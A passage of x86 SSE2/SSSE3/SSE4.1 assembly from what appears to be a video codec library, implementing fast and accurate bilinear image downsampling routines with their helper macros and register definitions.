punpckldq xmm0, xmm1 ;1st line: 0 0 0 0 0 0 0 0 O M K I G E C A -> xmm0
punpckhdq xmm4, xmm1 ;1st line: 0 0 0 0 0 0 0 0 o m k i g e c a -> xmm4
punpckldq xmm2, xmm3 ;2nd line: 0 0 0 0 0 0 0 0 O M K I G E C A -> xmm2
punpckhdq xmm5, xmm3 ;2nd line: 0 0 0 0 0 0 0 0 o m k i g e c a -> xmm5
pavgb xmm0, xmm4
pavgb xmm2, xmm5
pavgb xmm0, xmm2 ;average
; write pDst
movq [r0], xmm0
; next SMB
lea r2, [r2+32]
lea r0, [r0+8]
sub r4, 32
cmp r4, 0
jg near .xloops_quarter_sse4
sub r6, r0
lea r2, [r2+4*r3] ; next end of lines
lea r2, [r2+4*r6] ; reset to base 0 [- 2 * iDstWidth]
lea r0, [r0+r1]
lea r0, [r0+r6] ; reset to base 0 [- iDstWidth]
dec r5
jg near .yloops_quarter_sse4
movq [r0], xmm7 ;restore the tailer for the unasigned size
%ifndef X86_32
pop r12
%endif
POP_XMM
LOAD_6_PARA_POP
%ifdef X86_32
pop r6
%endif
ret
; xpos_int=%1 xpos_frac=%2 inc_int+1=%3 inc_frac=%4 tmp=%5
%macro SSE2_BilinearIncXposuw 5
movdqa %5, %2
paddw %2, %4
paddusw %5, %4
pcmpeqw %5, %2
paddb %1, %3
paddb %1, %5 ; subtract 1 if no carry
%endmacro
; outl=%1 outh=%2 in=%3
%macro SSE2_UnpckXFracuw 3
pcmpeqw %1, %1
pxor %1, %3
movdqa %2, %1
punpcklwd %1, %3
punpckhwd %2, %3
%endmacro
; [in:xfrac out:xyfrac0]=%1 [out:xyfrac1]=%2 yfrac0=%3 yfrac1=%4
%macro SSE2_BilinearFastCalcXYFrac 4
movdqa %2, %1
pmulhuw %1, %3
pmulhuw %2, %4
%endmacro
; [in:dwordsl out:bytes] dwordsh=%2 zero=%3
%macro SSE2_BilinearFastPackDwordsToBytes 3
psrld %1, 14
psrld %2, 14
packssdw %1, %2
pavgw %1, %3
packuswb %1, %1
%endmacro
%macro SSSE3_BilinearFastDownsample2xOrLess_8px 0
movdqa xmm_tmp0, xmm_xpos_int
pshufb xmm_tmp0, xmm_0
psubb xmm_xpos_int, xmm_tmp0
SSE2_UnpckXFracuw xmm_tmp0, xmm_tmp1, xmm_xpos_frac
mov r_tmp0, i_xpos
lea i_xpos, [i_xpos + 8 * i_scalex]
shr r_tmp0, 16
lddqu xmm_tmp4, [p_src_row0 + r_tmp0]
pshufb xmm_tmp4, xmm_xpos_int
movdqa xmm_tmp5, xmm_tmp4
punpcklbw xmm_tmp4, xmm_0
punpckhbw xmm_tmp5, xmm_0
SSE2_BilinearFastCalcXYFrac xmm_tmp0, xmm_tmp2, xmm_yfrac0, xmm_yfrac1
SSE2_BilinearFastCalcXYFrac xmm_tmp1, xmm_tmp3, xmm_yfrac0, xmm_yfrac1
pmaddwd xmm_tmp0, xmm_tmp4
pmaddwd xmm_tmp1, xmm_tmp5
lddqu xmm_tmp4, [p_src_row1 + r_tmp0]
pshufb xmm_tmp4, xmm_xpos_int
movdqa xmm_tmp5, xmm_tmp4
punpcklbw xmm_tmp4, xmm_0
punpckhbw xmm_tmp5, xmm_0
pmaddwd xmm_tmp2, xmm_tmp4
pmaddwd xmm_tmp3, xmm_tmp5
paddd xmm_tmp0, xmm_tmp2
paddd xmm_tmp1, xmm_tmp3
SSE2_BilinearFastPackDwordsToBytes xmm_tmp0, xmm_tmp1, xmm_0
movlps [p_dst], xmm_tmp0
add p_dst, 8
SSE2_BilinearIncXposuw xmm_xpos_int, xmm_xpos_frac, xmm_xpos_int_inc, xmm_xpos_frac_inc, xmm_tmp0
%endmacro
%macro SSSE3_BilinearFastDownsample4xOrLess_8px 0
movdqa xmm_tmp0, xmm_xpos_int
pshufb xmm_tmp0, [shufb_0000000088888888]
psubb xmm_xpos_int, xmm_tmp0
SSE2_UnpckXFracuw xmm_tmp0, xmm_tmp1, xmm_xpos_frac
mov r_tmp0, i_xpos
shr r_tmp0, 16
lddqu xmm_tmp3, [p_src_row0 + r_tmp0]
lddqu xmm_tmp4, [p_src_row1 + r_tmp0]
movdqa xmm_tmp2, xmm_xpos_int
punpcklbw xmm_tmp2, [db80h_256]
pshufb xmm_tmp3, xmm_tmp2
pshufb xmm_tmp4, xmm_tmp2
SSE2_BilinearFastCalcXYFrac xmm_tmp0, xmm_tmp2, xmm_yfrac0, xmm_yfrac1
pmaddwd xmm_tmp0, xmm_tmp3
pmaddwd xmm_tmp2, xmm_tmp4
paddd xmm_tmp0, xmm_tmp2
lea r_tmp0, [i_xpos + 4 * i_scalex]
lea i_xpos, [i_xpos + 8 * i_scalex]
shr r_tmp0, 16
lddqu xmm_tmp3, [p_src_row0 + r_tmp0]
lddqu xmm_tmp4, [p_src_row1 + r_tmp0]
movdqa xmm_tmp2, xmm_xpos_int
punpckhbw xmm_tmp2, [db80h_256]
pshufb xmm_tmp3, xmm_tmp2
pshufb xmm_tmp4, xmm_tmp2
SSE2_BilinearFastCalcXYFrac xmm_tmp1, xmm_tmp2, xmm_yfrac0, xmm_yfrac1
pmaddwd xmm_tmp1, xmm_tmp3
pmaddwd xmm_tmp2, xmm_tmp4
paddd xmm_tmp1, xmm_tmp2
SSE2_BilinearFastPackDwordsToBytes xmm_tmp0, xmm_tmp1, xmm_0
movlps [p_dst], xmm_tmp0
add p_dst, 8
SSE2_BilinearIncXposuw xmm_xpos_int, xmm_xpos_frac, xmm_xpos_int_inc, xmm_xpos_frac_inc, xmm_tmp0
%endmacro
%macro SSE2_GeneralBilinearFastDownsample_8px 0
mov r_tmp0, i_xpos
shr r_tmp0, 16
movd xmm_tmp3, [p_src_row0 + r_tmp0]
movd xmm_tmp4, [p_src_row1 + r_tmp0]
lea r_tmp0, [i_xpos + i_scalex]
shr r_tmp0, 16
pinsrw xmm_tmp3, [p_src_row0 + r_tmp0], 1
pinsrw xmm_tmp4, [p_src_row1 + r_tmp0], 1
lea r_tmp0, [i_xpos + 2 * i_scalex]
lea i_xpos, [i_xpos + 4 * i_scalex]
shr r_tmp0, 16
pinsrw xmm_tmp3, [p_src_row0 + r_tmp0], 2
pinsrw xmm_tmp4, [p_src_row1 + r_tmp0], 2
mov r_tmp0, i_xpos
sub r_tmp0, i_scalex
shr r_tmp0, 16
pinsrw xmm_tmp3, [p_src_row0 + r_tmp0], 3
pinsrw xmm_tmp4, [p_src_row1 + r_tmp0], 3
punpcklbw xmm_tmp3, xmm_0
punpcklbw xmm_tmp4, xmm_0
movdqa xmm_tmp0, xmm_xfrac0
SSE2_BilinearFastCalcXYFrac xmm_tmp0, xmm_tmp2, xmm_yfrac0, xmm_yfrac1
pmaddwd xmm_tmp0, xmm_tmp3
pmaddwd xmm_tmp2, xmm_tmp4
paddd xmm_tmp0, xmm_tmp2
mov r_tmp0, i_xpos
shr r_tmp0, 16
movd xmm_tmp3, [p_src_row0 + r_tmp0]
movd xmm_tmp4, [p_src_row1 + r_tmp0]
lea r_tmp0, [i_xpos + i_scalex]
shr r_tmp0, 16
pinsrw xmm_tmp3, [p_src_row0 + r_tmp0], 1
pinsrw xmm_tmp4, [p_src_row1 + r_tmp0], 1
lea r_tmp0, [i_xpos + 2 * i_scalex]
lea i_xpos, [i_xpos + 4 * i_scalex]
shr r_tmp0, 16
pinsrw xmm_tmp3, [p_src_row0 + r_tmp0], 2
pinsrw xmm_tmp4, [p_src_row1 + r_tmp0], 2
mov r_tmp0, i_xpos
sub r_tmp0, i_scalex
shr r_tmp0, 16
pinsrw xmm_tmp3, [p_src_row0 + r_tmp0], 3
pinsrw xmm_tmp4, [p_src_row1 + r_tmp0], 3
punpcklbw xmm_tmp3, xmm_0
punpcklbw xmm_tmp4, xmm_0
movdqa xmm_tmp1, xmm_xfrac1
SSE2_BilinearFastCalcXYFrac xmm_tmp1, xmm_tmp2, xmm_yfrac0, xmm_yfrac1
pmaddwd xmm_tmp1, xmm_tmp3
pmaddwd xmm_tmp2, xmm_tmp4
paddd xmm_tmp1, xmm_tmp2
SSE2_BilinearFastPackDwordsToBytes xmm_tmp0, xmm_tmp1, xmm_0
movlps [p_dst], xmm_tmp0
add p_dst, 8
paddw xmm_xfrac0, xmm_xfrac_inc
paddw xmm_xfrac1, xmm_xfrac_inc
%endmacro
; xpos_int=%1 xpos_frac=%2 inc_int=%3 inc_frac=%4 7FFFh=%5 tmp=%6
%macro SSE2_BilinearIncXposw 6
pxor %6, %6
paddw %2, %4
pcmpgtw %6, %2
paddb %1, %3
psubb %1, %6 ; add carry
pand %2, %5
%endmacro
; outl=%1 outh=%2 in=%3 7FFFh=%4
%macro SSE2_UnpckXFracw 4
movdqa %1, %3
pxor %1, %4
movdqa %2, %1
punpcklwd %1, %3
punpckhwd %2, %3
%endmacro
; res>>29=%1 data0=%2 data1=%3 frac0=%4 frac1=%5 tmp=%6
%macro SSE41_LinearAccurateInterpolateVerticalDwords 6
pshufd %1, %2, 10110001b
pshufd %6, %3, 10110001b
pmuludq %1, %4
pmuludq %6, %5
paddq %1, %6
pmuludq %2, %4
pmuludq %3, %5
paddq %2, %3
psllq %1, 3
psrlq %2, 29
blendps %1, %2, 0101b
%endmacro
%macro SSE41_BilinearAccurateDownsample2xOrLess_8px 0
movdqa xmm_tmp0, xmm_xpos_int
pshufb xmm_tmp0, xmm_0
psubb xmm_xpos_int, xmm_tmp0
SSE2_UnpckXFracw xmm_tmp0, xmm_tmp1, xmm_xpos_frac, xmm_7fff
mov r_tmp0, i_xpos
lea i_xpos, [i_xpos + 8 * i_scalex]
shr r_tmp0, 16
lddqu xmm_tmp4, [p_src_row0 + r_tmp0]
pshufb xmm_tmp4, xmm_xpos_int
movdqa xmm_tmp5, xmm_tmp4
punpcklbw xmm_tmp4, xmm_0
punpckhbw xmm_tmp5, xmm_0
pmaddwd xmm_tmp4, xmm_tmp0
pmaddwd xmm_tmp5, xmm_tmp1
lddqu xmm_tmp2, [p_src_row1 + r_tmp0]
pshufb xmm_tmp2, xmm_xpos_int
movdqa xmm_tmp3, xmm_tmp2
punpcklbw xmm_tmp2, xmm_0
punpckhbw xmm_tmp3, xmm_0
pmaddwd xmm_tmp2, xmm_tmp0
pmaddwd xmm_tmp3, xmm_tmp1
SSE41_LinearAccurateInterpolateVerticalDwords xmm_tmp0, xmm_tmp4, xmm_tmp2, xmm_yfrac0, xmm_yfrac1, xmm_tmp1
SSE41_LinearAccurateInterpolateVerticalDwords xmm_tmp1, xmm_tmp5, xmm_tmp3, xmm_yfrac0, xmm_yfrac1, xmm_tmp2
packssdw xmm_tmp0, xmm_tmp1
pavgw xmm_tmp0, xmm_0
packuswb xmm_tmp0, xmm_tmp0
movlps [p_dst], xmm_tmp0
add p_dst, 8
SSE2_BilinearIncXposw xmm_xpos_int, xmm_xpos_frac, xmm_xpos_int_inc, xmm_xpos_frac_inc, xmm_7fff, xmm_tmp0
%endmacro
%macro SSE41_BilinearAccurateDownsample4xOrLess_8px 0
movdqa xmm_tmp0, xmm_xpos_int
pshufb xmm_tmp0, [shufb_0000000088888888]
psubb xmm_xpos_int, xmm_tmp0
SSE2_UnpckXFracw xmm_tmp0, xmm_tmp1, xmm_xpos_frac, xmm_7fff
mov r_tmp0, i_xpos
shr r_tmp0, 16
movdqa xmm_tmp3, xmm_xpos_int
punpcklbw xmm_tmp3, [db80h_256]
lddqu xmm_tmp4, [p_src_row0 + r_tmp0]
lddqu xmm_tmp2, [p_src_row1 + r_tmp0]
lea r_tmp0, [i_xpos + 4 * i_scalex]
lea i_xpos, [i_xpos + 8 * i_scalex]
shr r_tmp0, 16
pshufb xmm_tmp4, xmm_tmp3
pshufb xmm_tmp2, xmm_tmp3
pmaddwd xmm_tmp4, xmm_tmp0
pmaddwd xmm_tmp2, xmm_tmp0
SSE41_LinearAccurateInterpolateVerticalDwords xmm_tmp0, xmm_tmp4, xmm_tmp2, xmm_yfrac0, xmm_yfrac1, xmm_tmp3
movdqa xmm_tmp2, xmm_xpos_int
punpckhbw xmm_tmp2, [db80h_256]
lddqu xmm_tmp4, [p_src_row0 + r_tmp0]
lddqu xmm_tmp3, [p_src_row1 + r_tmp0]
pshufb xmm_tmp4, xmm_tmp2
pshufb xmm_tmp3, xmm_tmp2
pmaddwd xmm_tmp4, xmm_tmp1
pmaddwd xmm_tmp3, xmm_tmp1
SSE41_LinearAccurateInterpolateVerticalDwords xmm_tmp1, xmm_tmp4, xmm_tmp3, xmm_yfrac0, xmm_yfrac1, xmm_tmp2
packssdw xmm_tmp0, xmm_tmp1
pavgw xmm_tmp0, xmm_0
packuswb xmm_tmp0, xmm_tmp0
movlps [p_dst], xmm_tmp0
add p_dst, 8
SSE2_BilinearIncXposw xmm_xpos_int, xmm_xpos_frac, xmm_xpos_int_inc, xmm_xpos_frac_inc, xmm_7fff, xmm_tmp0
%endmacro
%macro SSE41_GeneralBilinearAccurateDownsample_8px 0
mov r_tmp0, i_xpos
shr r_tmp0, 16
movd xmm_tmp4, [p_src_row0 + r_tmp0]
movd xmm_tmp2, [p_src_row1 + r_tmp0]
lea r_tmp0, [i_xpos + 1 * i_scalex]
shr r_tmp0, 16
pinsrw xmm_tmp4, [p_src_row0 + r_tmp0], 1
pinsrw xmm_tmp2, [p_src_row1 + r_tmp0], 1
lea r_tmp0, [i_xpos + 2 * i_scalex]
lea i_xpos, [i_xpos + 4 * i_scalex]
shr r_tmp0, 16
pinsrw xmm_tmp4, [p_src_row0 + r_tmp0], 2
pinsrw xmm_tmp2, [p_src_row1 + r_tmp0], 2
mov r_tmp0, i_xpos
sub r_tmp0, i_scalex
shr r_tmp0, 16
pinsrw xmm_tmp4, [p_src_row0 + r_tmp0], 3
pinsrw xmm_tmp2, [p_src_row1 + r_tmp0], 3
punpcklbw xmm_tmp4, xmm_0
punpcklbw xmm_tmp2, xmm_0
pmaddwd xmm_tmp4, xmm_xfrac0
pmaddwd xmm_tmp2, xmm_xfrac0
SSE41_LinearAccurateInterpolateVerticalDwords xmm_tmp0, xmm_tmp4, xmm_tmp2, xmm_yfrac0, xmm_yfrac1, xmm_tmp3
mov r_tmp0, i_xpos
shr r_tmp0, 16
movd xmm_tmp4, [p_src_row0 + r_tmp0]
movd xmm_tmp3, [p_src_row1 + r_tmp0]
lea r_tmp0, [i_xpos + 1 * i_scalex]
shr r_tmp0, 16
pinsrw xmm_tmp4, [p_src_row0 + r_tmp0], 1
pinsrw xmm_tmp3, [p_src_row1 + r_tmp0], 1
lea r_tmp0, [i_xpos + 2 * i_scalex]
lea i_xpos, [i_xpos + 4 * i_scalex]
shr r_tmp0, 16
pinsrw xmm_tmp4, [p_src_row0 + r_tmp0], 2
pinsrw xmm_tmp3, [p_src_row1 + r_tmp0], 2
mov r_tmp0, i_xpos
sub r_tmp0, i_scalex
shr r_tmp0, 16
pinsrw xmm_tmp4, [p_src_row0 + r_tmp0], 3
pinsrw xmm_tmp3, [p_src_row1 + r_tmp0], 3
punpcklbw xmm_tmp4, xmm_0
punpcklbw xmm_tmp3, xmm_0
pmaddwd xmm_tmp4, xmm_xfrac1
pmaddwd xmm_tmp3, xmm_xfrac1
SSE41_LinearAccurateInterpolateVerticalDwords xmm_tmp1, xmm_tmp4, xmm_tmp3, xmm_yfrac0, xmm_yfrac1, xmm_tmp2
packssdw xmm_tmp0, xmm_tmp1
pavgw xmm_tmp0, xmm_0
packuswb xmm_tmp0, xmm_tmp0
movlps [p_dst], xmm_tmp0
add p_dst, 8
paddw xmm_xfrac0, xmm_xfrac_inc
paddw xmm_xfrac1, xmm_xfrac_inc
pand xmm_xfrac0, xmm_7fff
pand xmm_xfrac1, xmm_7fff
%endmacro
; downsample_8px_macro=%1 b_fast=%2
%macro SSE2_GeneralBilinearDownsampler_loop 2
%%height:
mov p_src_row0, i_ypos
shr p_src_row0, 15
imul p_src_row0, i_src_stride
add p_src_row0, p_src
mov p_src_row1, p_src_row0
add p_src_row1, i_src_stride
movd xmm_tmp1, i_yposd
%if %2
pshuflw xmm_tmp1, xmm_tmp1, 0
psllw xmm_tmp1, 1
psrlw xmm_tmp1, 1
%else
pslld xmm_tmp1, 17
psrld xmm_tmp1, 17
%endif
%ifdef X86_32
pshufd xmm_tmp1, xmm_tmp1, 0
pcmpeqw xmm_tmp0, xmm_tmp0
%if %2
psrlw xmm_tmp0, 1
%else
psrld xmm_tmp0, 17
%endif
pxor xmm_tmp0, xmm_tmp1
movdqa xmm_yfrac0, xmm_tmp0
movdqa xmm_yfrac1, xmm_tmp1
%else
pshufd xmm_yfrac1, xmm_tmp1, 0
pcmpeqw xmm_yfrac0, xmm_yfrac0
%if %2
psrlw xmm_yfrac0, 1
%else
psrld xmm_yfrac0, 17
%endif
pxor xmm_yfrac0, xmm_yfrac1
%endif
mov i_xpos, 1 << 15
mov i_width_cnt, i_dst_width
sub i_width_cnt, 1
%ifdef xmm_xpos_int
movdqa xmm_xpos_int, xmm_xpos_int_begin
movdqa xmm_xpos_frac, xmm_xpos_frac_begin
%else
movdqa xmm_xfrac0, xmm_xfrac0_begin
movdqa xmm_xfrac1, xmm_xfrac1_begin
%endif
%%width:
%1
sub i_width_cnt, 8
jg %%width
lea p_dst, [p_dst + i_width_cnt + 1]
imul i_width_cnt, i_scalex
add i_xpos, i_width_cnt
shr i_xpos, 16
movzx r_tmp0, byte [p_src_row0 + i_xpos]
mov [p_dst - 1], r_tmp0b
%ifdef X86_32
mov r_tmp0, i_scaleyd
add i_yposd, r_tmp0
%else
add i_yposd, i_scaleyd
%endif
add p_dst, i_dst_stride_less_width
sub i_dst_height, 1
jg %%height
%endmacro
;**************************************************************************************************************
;void GeneralBilinearFastDownsampler_ssse3 (uint8_t* pDst, int32_t iDstStride, int32_t iDstWidth,
; int32_t iDstHeight, uint8_t* pSrc, int32_t iSrcStride, uint32_t uiScaleX,
; uint32_t uiScaleY);
;
;**************************************************************************************************************
WELS_EXTERN GeneralBilinearFastDownsampler_ssse3
%assign push_num 0
%ifndef X86_32
push r12
push r13
push rbx
push rbp
%assign push_num 4
%ifdef WIN64
push rdi
push rsi
%assign push_num push_num + 2
%endif
%endif
LOAD_7_PARA
PUSH_XMM 16
SIGN_EXTENSION r1, r1d
SIGN_EXTENSION r2, r2d
SIGN_EXTENSION r3, r3d
SIGN_EXTENSION r5, r5d
ZERO_EXTENSION r6d
sub r1, r2 ; dst_stride - dst_width
%ifdef X86_32
movd xmm0, arg8
movd xmm1, esp
and esp, -16
sub esp, 8 * 4 + 7 * 16
movd [esp], xmm1
%define p_dst r0
%define i_dst_stride_less_width [esp + 1 * 4]
%define i_dst_width [esp + 2 * 4]
%define i_dst_height dword [esp + 3 * 4]
%define p_src [esp + 4 * 4]
%define i_src_stride [esp + 5 * 4]
%define i_scalex r6
%define i_scalexd r6d
%define i_scaleyd [esp + 6 * 4]
%define i_xpos r2
%define i_ypos dword [esp + 7 * 4]
%define i_yposd dword [esp + 7 * 4]
%define p_src_row0 r3
%define p_src_row1 r4
%define i_width_cnt r5
%define r_tmp0 r1
%define r_tmp0b r1b
%define xmm_xpos_frac xmm1
%define xmm_xpos_frac_inc [esp + 8 * 4]
%define xmm_xpos_int xmm3
%define xmm_xpos_int_inc [esp + 8 * 4 + 1 * 16]
%define xmm_yfrac0 [esp + 8 * 4 + 2 * 16]
%define xmm_yfrac1 [esp + 8 * 4 + 3 * 16]
%define xmm_tmp0 xmm7
%define xmm_tmp1 xmm0
%define xmm_tmp2 xmm2
%define xmm_tmp3 xmm4
%define xmm_tmp4 xmm5
%define xmm_tmp5 xmm6
%define xmm_0 [esp + 8 * 4 + 4 * 16]
%define xmm_xpos_int_begin [esp + 8 * 4 + 5 * 16]
%define xmm_xpos_frac_begin [esp + 8 * 4 + 6 * 16]
mov i_dst_stride_less_width, r1
mov i_dst_width, r2
mov i_dst_height, r3
mov p_src, r4
mov i_src_stride, r5
movd i_scaleyd, xmm0
pxor xmm_tmp0, xmm_tmp0
movdqa xmm_0, xmm_tmp0
%else
%define p_dst r0
%define i_dst_stride_less_width r1
%define i_dst_width r2
%define i_dst_height r3
%define p_src r4
%define i_src_stride r5
%define i_scalex r6
%define i_scalexd r6d
%define i_scaleyd dword arg8d
%define i_xpos r12
%define i_ypos r13
%define i_yposd r13d
%define p_src_row0 rbp
%ifdef WIN64
%define p_src_row1 rsi
%define i_width_cnt rdi
%else
%define p_src_row1 r11
%define i_width_cnt rax
%endif
%define r_tmp0 rbx
%define r_tmp0b bl
%define xmm_0 xmm0
%define xmm_xpos_frac xmm1
%define xmm_xpos_frac_inc xmm8
%define xmm_xpos_int xmm3
%define xmm_xpos_int_inc xmm10
%define xmm_yfrac0 xmm11
%define xmm_yfrac1 xmm12
%define xmm_tmp0 xmm7
%define xmm_tmp1 xmm2
%define xmm_tmp2 xmm9
%define xmm_tmp3 xmm4
%define xmm_tmp4 xmm5
%define xmm_tmp5 xmm6
%define xmm_xpos_int_begin xmm14
%define xmm_xpos_frac_begin xmm15
pxor xmm_0, xmm_0
%endif
sub i_dst_height, 1
je .final_row
jl .done
mov i_ypos, 1 << 14
movd xmm_xpos_frac, i_scalexd
pshufd xmm_xpos_frac, xmm_xpos_frac, 0
movdqa xmm_tmp0, xmm_xpos_frac
pslld xmm_tmp0, 2
pslldq xmm_xpos_frac, 4
paddd xmm_tmp0, xmm_xpos_frac
movdqa xmm_tmp1, xmm_xpos_frac
pslldq xmm_tmp1, 4
paddd xmm_xpos_frac, xmm_tmp1
paddd xmm_tmp0, xmm_tmp1
pslldq xmm_tmp1, 4
paddd xmm_xpos_frac, xmm_tmp1
paddd xmm_tmp0, xmm_tmp1
pcmpeqw xmm_tmp1, xmm_tmp1
psrld xmm_tmp1, 31
pslld xmm_tmp1, 15
paddd xmm_xpos_frac, xmm_tmp1
paddd xmm_tmp0, xmm_tmp1
movdqa xmm_xpos_int, xmm_xpos_frac
movdqa xmm_tmp1, xmm_tmp0
psrld xmm_xpos_int, 16
psrld xmm_tmp1, 16
packssdw xmm_xpos_int, xmm_tmp1
packuswb xmm_xpos_int, xmm_xpos_int
movdqa xmm_tmp1, xmm_xpos_int
pcmpeqw xmm_tmp2, xmm_tmp2
psubb xmm_tmp1, xmm_tmp2
punpcklbw xmm_xpos_int, xmm_tmp1
pslld xmm_xpos_frac, 16
pslld xmm_tmp0, 16
psrad xmm_xpos_frac, 16
psrad xmm_tmp0, 16
packssdw xmm_xpos_frac, xmm_tmp0
movd xmm_tmp0, i_scalexd
pslld xmm_tmp0, 3
movdqa xmm_tmp1, xmm_tmp0
punpcklwd xmm_tmp0, xmm_tmp0
pshufd xmm_tmp0, xmm_tmp0, 0
movdqa xmm_xpos_frac_inc, xmm_tmp0
psrld xmm_tmp1, 16
psubw xmm_tmp1, xmm_tmp2
pxor xmm_tmp2, xmm_tmp2
pshufb xmm_tmp1, xmm_tmp2
movdqa xmm_xpos_int_inc, xmm_tmp1
movdqa xmm_xpos_int_begin, xmm_xpos_int
movdqa xmm_xpos_frac_begin, xmm_xpos_frac
cmp i_scalex, 4 << 16
ja .scalex_above4
cmp i_scalex, 2 << 16
ja .scalex_above2_beloweq4
SSE2_GeneralBilinearDownsampler_loop SSSE3_BilinearFastDownsample2xOrLess_8px, 1
jmp .final_row
%ifdef X86_32
%undef xmm_yfrac0
%xdefine xmm_yfrac0 xmm_tmp5
%undef xmm_tmp5
%endif
.scalex_above2_beloweq4:
SSE2_GeneralBilinearDownsampler_loop SSSE3_BilinearFastDownsample4xOrLess_8px, 1
jmp .final_row
.scalex_above4:
%xdefine xmm_xfrac0 xmm_xpos_frac
%xdefine xmm_xfrac1 xmm_xpos_int
%xdefine xmm_xfrac0_begin xmm_xpos_int_begin
%xdefine xmm_xfrac1_begin xmm_xpos_frac_begin
%xdefine xmm_xfrac_inc xmm_xpos_frac_inc
%undef xmm_xpos_int
%undef xmm_xpos_frac
%undef xmm_xpos_int_begin
%undef xmm_xpos_frac_begin
%undef xmm_xpos_int_inc
%undef xmm_xpos_frac_inc
SSE2_UnpckXFracuw xmm_tmp0, xmm_xfrac1, xmm_xfrac0
movdqa xmm_xfrac0, xmm_tmp0
movdqa xmm_xfrac0_begin, xmm_xfrac0
movdqa xmm_xfrac1_begin, xmm_xfrac1
pcmpeqw xmm_tmp0, xmm_tmp0
pmullw xmm_tmp0, xmm_xfrac_inc
punpcklwd xmm_tmp0, xmm_xfrac_inc
movdqa xmm_xfrac_inc, xmm_tmp0
SSE2_GeneralBilinearDownsampler_loop SSE2_GeneralBilinearFastDownsample_8px, 1
.final_row:
mov p_src_row0, i_ypos
shr p_src_row0, 15
imul p_src_row0, i_src_stride
add p_src_row0, p_src
mov i_xpos, 1 << 15
mov i_width_cnt, i_dst_width
.final_row_width:
mov r_tmp0, i_xpos
shr r_tmp0, 16
movzx r_tmp0, byte [p_src_row0 + r_tmp0]
mov [p_dst], r_tmp0b
add p_dst, 1
add i_xpos, i_scalex
sub i_width_cnt, 1
jg .final_row_width
.done:
%ifdef X86_32
mov esp, [esp]
%endif
POP_XMM
LOAD_7_PARA_POP
%ifndef X86_32
%ifdef WIN64
pop rsi
pop rdi
%endif
pop rbp
pop rbx
pop r13
pop r12
%endif
ret
%undef p_dst
%undef i_dst_stride_less_width
%undef i_dst_width
%undef i_dst_height
%undef p_src
%undef i_src_stride
%undef i_scalex
%undef i_scalexd
%undef i_scaleyd
%undef i_xpos
%undef i_ypos
%undef i_yposd
%undef p_src_row0
%undef p_src_row1
%undef i_width_cnt
%undef r_tmp0
%undef r_tmp0b
%undef xmm_0
%undef xmm_xpos_frac
%undef xmm_xpos_frac_inc
%undef xmm_xpos_int
%undef xmm_xpos_int_inc
%undef xmm_yfrac0
%undef xmm_yfrac1
%undef xmm_tmp0
%undef xmm_tmp1
%undef xmm_tmp2
%undef xmm_tmp3
%undef xmm_tmp4
%undef xmm_tmp5
%undef xmm_xpos_int_begin
%undef xmm_xpos_frac_begin
%undef xmm_xfrac0
%undef xmm_xfrac1
%undef xmm_xfrac0_begin
%undef xmm_xfrac1_begin
%undef xmm_xfrac_inc
;**************************************************************************************************************
;void GeneralBilinearAccurateDownsampler_sse41 (uint8_t* pDst, int32_t iDstStride, int32_t iDstWidth,
; int32_t iDstHeight, uint8_t* pSrc, int32_t iSrcStride, uint32_t uiScaleX,
; uint32_t uiScaleY);
;
;**************************************************************************************************************
WELS_EXTERN GeneralBilinearAccurateDownsampler_sse41
%assign push_num 0
%ifndef X86_32
push r12
push r13
push rbx
push rbp
%assign push_num 4
%ifdef WIN64
push rdi
push rsi
%assign push_num push_num + 2
%endif
%endif
LOAD_7_PARA
PUSH_XMM 16
SIGN_EXTENSION r1, r1d
SIGN_EXTENSION r2, r2d
SIGN_EXTENSION r3, r3d
SIGN_EXTENSION r5, r5d
ZERO_EXTENSION r6d
sub r1, r2 ; dst_stride - dst_width
add r6, r6 ; 2 * scalex
%ifdef X86_32
movd xmm0, arg8
movd xmm1, esp
and esp, -16
sub esp, 8 * 4 + 8 * 16
movd [esp], xmm1
%define p_dst r0
%define i_dst_stride_less_width [esp + 1 * 4]
%define i_dst_width [esp + 2 * 4]
%define i_dst_height dword [esp + 3 * 4]
%define p_src [esp + 4 * 4]
%define i_src_stride [esp + 5 * 4]
%define i_scalex r6
%define i_scalexd r6d
%define i_scaleyd [esp + 6 * 4]
%define i_xpos r2
%define i_ypos dword [esp + 7 * 4]
%define i_yposd dword [esp + 7 * 4]
%define p_src_row0 r3
%define p_src_row1 r4
%define i_width_cnt r5
%define r_tmp0 r1
%define r_tmp0b r1b
%define xmm_xpos_frac xmm1
%define xmm_xpos_frac_inc [esp + 8 * 4]
%define xmm_xpos_int xmm3
%define xmm_xpos_int_inc [esp + 8 * 4 + 1 * 16]
%define xmm_yfrac0 [esp + 8 * 4 + 2 * 16]
%define xmm_yfrac1 [esp + 8 * 4 + 3 * 16]
%define xmm_tmp0 xmm7
%define xmm_tmp1 xmm0
%define xmm_tmp2 xmm2
%define xmm_tmp3 xmm4
%define xmm_tmp4 xmm5
%define xmm_tmp5 xmm6
%define xmm_0 [esp + 8 * 4 + 4 * 16]
%define xmm_7fff [esp + 8 * 4 + 5 * 16]
%define xmm_xpos_int_begin [esp + 8 * 4 + 6 * 16]
%define xmm_xpos_frac_begin [esp + 8 * 4 + 7 * 16]
mov i_dst_stride_less_width, r1
mov i_dst_width, r2
mov i_dst_height, r3
mov p_src, r4
mov i_src_stride, r5
movd i_scaleyd, xmm0
pxor xmm_tmp5, xmm_tmp5
movdqa xmm_0, xmm_tmp5
pcmpeqw xmm_tmp5, xmm_tmp5
psrlw xmm_tmp5, 1
movdqa xmm_7fff, xmm_tmp5
%else
%define p_dst r0
%define i_dst_stride_less_width r1
%define i_dst_width r2
%define i_dst_height r3
%define p_src r4
%define i_src_stride r5
%define i_scalex r6
%define i_scalexd r6d
%define i_scaleyd dword arg8d
%define i_xpos r12
%define i_ypos r13
%define i_yposd r13d
%define p_src_row0 rbp
%ifdef WIN64
%define p_src_row1 rsi
%define i_width_cnt rdi
%else
%define p_src_row1 r11
%define i_width_cnt rax
%endif
%define r_tmp0 rbx
%define r_tmp0b bl
%define xmm_0 xmm0
%define xmm_xpos_frac xmm1
%define xmm_xpos_frac_inc xmm8
%define xmm_xpos_int xmm3
%define xmm_xpos_int_inc xmm10
%define xmm_yfrac0 xmm11
%define xmm_yfrac1 xmm12
%define xmm_tmp0 xmm7
%define xmm_tmp1 xmm2
%define xmm_tmp2 xmm9
%define xmm_tmp3 xmm4
%define xmm_tmp4 xmm5
%define xmm_tmp5 xmm6
%define xmm_7fff xmm13
%define xmm_xpos_int_begin xmm14
%define xmm_xpos_frac_begin xmm15
pxor xmm_0, xmm_0
pcmpeqw xmm_7fff, xmm_7fff
psrlw xmm_7fff, 1
